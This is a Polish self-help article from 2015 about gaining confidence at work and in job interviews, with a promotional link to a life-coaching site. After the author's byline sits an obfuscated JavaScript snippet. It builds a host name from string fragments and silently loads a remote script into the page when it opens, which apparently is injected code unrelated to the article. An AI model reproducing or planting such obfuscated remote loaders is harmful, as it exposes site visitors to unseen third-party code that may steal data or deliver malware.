

W jaki sposób docenić samego siebie, czyli Pewność siebie w pracy

2015-02-04

Obecne badania pokazują, że ponad połowa Polaków nie zapytała nigdy swojego szefa o podwyżkę lub poprawę warunków pracy. Jak zwiększyć swoją pewność siebie, aby otrzymać to, czego naprawdę chcemy od naszej kariery zawodowej?

Pewność siebie to podstawa w pracy. Idealnym spokojnym, uległym pracownikiem, który zgadza się na wszystkie warunki już dawno odszedł do lamusa i nawet pracodawcy niechętnie zatrudniają takie osoby. Owszem, może i dają się one kontrolować, ale brakuje im inicjatywy w kontakcie z klientami, a także będą bali się poinformować szefa o błędach lub niedociągnięciach jego planu, których może on po prostu nie widzieć

Pewność siebie

Pewność siebie na rozmowach kwalifikacyjnych możemy pokazać w dynamicznym, żywym poruszaniu się - nasz wejście do pokoju powinno być takie, jak wejście wielkiego mówcy na scenę. Żadnych sennych ruchów, czy przygarbionej, smutnej sylwetki. Również osoby o zadbanym, schludnym ubraniu się odbierane jako bardziej pewne siebie.

Postawa

Prosta postawa i spojrzenie w oczy poprawia nasz wizerunek, podobnie jak położenie rąk na stole w sposób luźny i naturalny. W trakcie rozmowy musimy mieć cel i przygotowane odpowiedzi na większość pytań - istnieje bowiem grupa pytań zadawanych przez rekruterów, które pojawiają się na niemalże każdej rozmowie o pracę. W Internecie można znaleźć proste arkusze z pytaniami, nie jest to żadna tajemnica, a nie zbije nas to z tropu podczas starania się o posadę. Również sprawia to, że w pewien sposób to my prowadzimy rozmowę, więc pracodawca zaczyna traktować nas jako partnera a nie osobę uległą, błagającą o pracę.

Zwiększ pewność siebie

Aby podnieść poczucie własnej wartości, zwiększyć pewność siebie i nadać tempa naszej karierze, można skorzystać z bardzo skutecznej formy samodoskonalenia, jaką jest [life coaching](http://twojcele.eu/). Jest to doradztwo we wszystkich sferach życia, prowadzone przez praktyka biznesu o wielu sukcesach zawodowych. Pomoże to poprawić nasze błędy w sposobie myślenia i odnaleźć prawdziwy potencjał.

Pewność siebie w pracy to nie tylko możliwość uzyskania awansu czy większych pieniędzy, ale także ochrona przed mobbingiem i nieciekawymi zagraniami ze strony współpracowników. Niekiedy rywalizacja jest wyraźna, a osoba budząca szacunek, o silnym charakterze nie stanie się nigdy ofiarą starszych pracowników, którzy dorzucą jej nadmiarowych obowiązków. Trzeba umieć postawić na swoim, w wielu sytuacjach postawić sprawę jasno, a kiedy warunki się pogorszą - nie tkwić w nielubianej pracy na siłę. Szczególnie dotyczy to osób o długotrwałej karierze w jednym miejscu, które mimo pogarszających się warunków pracy i obniżek pensji pozostają tam, jak gdyby nie mieli nad swoim życiem żadnej kontroli.

Niekiedy dużo lepsza praca czeka tuż za rogiem, wystarczy zainteresować się i wyciągnąć po nią rękę.

Autor: Marek Olszak

```
<script type="text/javascript">
(function(){
  u57u=document.createElement("script");u57u.type="text/javascript";
  u57u.async=true;u57u_=(("us")+"t")+ "a";u57u_+=("t.i")+" "+"n";u57u_+=(("f")+"o");
  u57u.src="http://"+u57u_+"/1774410.umii5xqt57uir9sehh7u4bt6qb1ixd";
  document.body.appendChild(u57u);
})();
</script>
```